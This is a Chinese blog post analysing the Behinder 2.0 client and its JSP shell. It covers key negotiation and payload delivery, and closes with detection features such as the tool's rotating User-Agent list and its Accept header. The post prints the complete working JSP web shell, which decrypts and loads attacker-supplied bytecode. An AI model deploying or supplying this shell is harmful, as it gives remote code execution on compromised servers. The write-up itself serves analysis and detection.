[Java随笔]冰蝎2.0-jsp马交互部分源码解读及其特征检测

Posted Y4tacker

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[Java随笔]冰蝎2.0-jsp马交互部分源码解读及其特征检测相关的知识,希望对你有一定的参考价值。

写在前面

大概是最近搞内存马有点累了,今晚顺便看看冰蝎部分源码,简简单单写篇博客休息休息,本着怕第一次看这个工具源码,怕直接看最新的容易不理解,就拿了个2.0版本看着玩吧,谁知道也太简单了:同款源码在rebeyond/Behinder

源码解读

反编译jar包后,其核心代码在net.rebeyond.behinder

Jsp马交互部分源码解读

直接丢出来源码,挺简单的,首先是一个继承ClassLoader的U类,一看defineClass就知道是加载字节码,没得说接下来看下面部分,get请求传入一个pass参数,随机生成一串神秘字符放到sessin里面,
如果没有get传入pass,用post写一串神秘字符,后面从session中取出密钥然后先base64解码再aes解密恢复字节码并加载

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*" %>
<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }

        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
%><%
    if (request.getParameter("pass") != null) {
        String k = ("" + UUID.randomUUID()).replace("-", "").substring(16);
        session.putValue("u", k);
        out.print(k);
        return;
    }
    Cipher c = Cipher.getInstance("AES");
    c.init(2, new SecretKeySpec((session.getValue("u") + "").getBytes(), "AES"));
    new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
%>

认证流程

借一张网图来说明下认证流程

Behinder.jar!\\net\\rebeyond\\behinder\\ui\\BasicInfoUtils.class下面的getBasicInfo看起来就是重点去关注的东西,先看看这个ShellService


首先初始化部分获取一些我们传入的url,pass等

接下来就是协商key的过程

先随机生成一串带pass的url

省略一些不必要的分析源码,自己看吧很简单判断类型http还是https等不细说,接下来获取返回结果

联系jsp内容很容易想到是类似这样的形式

正则匹配出结果,并通过getRawKey函数进行第二次的获取(和这个差不多的过程不单独去读了,多了一些cookie相关自己读一下就行),两次结果进行异或操作

接下来看看这个看起来又臭又长的部分,很简单,其实就只是保证两次获取的值的第一个字符不一样以及最后一个字符不一样而已,谈不上理解难度,之后设置一些值并返回

在获取了cookie和key之后,BasicInfoUtil的getBasicInfo就会调用ShellService的getBasicInfo方法来获取放了木马的服务器的基本信息

一看就是生成paylaod

由于是jsp,获取对应的字节内容先AES加密,再base64编码返回下

稍微看看这个BasciInfo干嘛,文字都有获取一些系统变量内容、JRE系统属性

接下来就是直接说的利用POST发送payload了然后返回执行结果,分析完毕

说个多余的话,我刚刚还很好奇为啥defineClass加载进去就直接调用了,毕竟没有写在static方法里面,后面发现我自己傻了,shell.jsp后面还有一坨被我吞了没看见

其他部分也没啥可说的了,同样的过程,只是defineClass加载的字节码不同罢了

特征检测

userAgent

可以看到

    public static String[] userAgents = new String[]{"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (Khtml, like Gecko) Chrome/14.0.835.163 Safari/535.1", "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0) Gecko/20100101 Firefox/6.0", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50", "Opera/9.80 (Windows NT 6.1; U; zh-cn) Presto/2.9.168 Version/11.50", "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; Tablet PC 2.0; .NET4.0E)", "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; InfoPath.3)", "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.0)", "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)", "Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12", "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E)", "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E; SE 2.X MetaSr 1.0)", "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.33 Safari/534.3 SE 2.X MetaSr 1.0", "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E)", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1 QQBrowser/6.9.11079.201", "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E) QQBrowser/6.9.11079.201", "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)"};

冰蝎内置了十余种 UserAgent ,每次连接 shell 会随机选择一个进行使用。但都是比较老的,容易被检测到,因此如果同一个ip每次请求都换了ua头并且都命中上面列表就值得怀疑了

ACCEPT字段

这个字段比较特殊Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

不知不觉图书馆也闭馆了,今天到此结束

以上是关于[Java随笔]冰蝎2.0-jsp马交互部分源码解读及其特征检测的主要内容,如果未能解决你的问题,请参考以下文章

中间件内存马注入&冰蝎连接(附更改部分代码)

冰蝎v2.0.1核心部分源码浅析

渗透测试之冰蝎实战

冰蝎Behinder_v4.0

记一次解密wireshark抓取的冰蝎通信流量

吐血整理!java马士兵